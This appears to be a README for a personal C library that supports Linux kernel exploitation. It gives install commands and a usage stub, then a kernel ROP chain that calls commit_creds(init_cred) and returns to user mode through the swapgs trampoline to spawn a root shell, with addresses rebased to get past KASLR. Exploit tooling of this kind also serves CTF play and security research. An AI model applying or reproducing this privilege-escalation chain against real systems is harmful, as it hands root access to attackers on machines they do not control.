It's a personal c language library for kernel exploits.
# If you use fuse
sudo apt install fuse libfuse-dev libkeyutils-dev
Install libx
git clone git@github.com:n132/libx.git
cd libx
make
make install
uninstall libx
make clean
make uninstall
//gcc main.c -o ./main -lx -w
#include "libx.h"
int main(){
libxInit();
}
p[idx++] = rdi;
p[idx++] = init_cred - NO_ASLR_BASE + base;
p[idx++] = commit_creds - NO_ASLR_BASE + base;
p[idx++] = swapgs_restore_regs_and_return_to_usermode + 103 - NO_ASLR_BASE + base;
p[idx++] = *(size_t*) "RDI";
p[idx++] = *(size_t*) "RAX";
p[idx++] = shell;
p[idx++] = user_cs;
p[idx++] = user_rflags;
p[idx++] = user_sp;
p[idx++] = user_ss;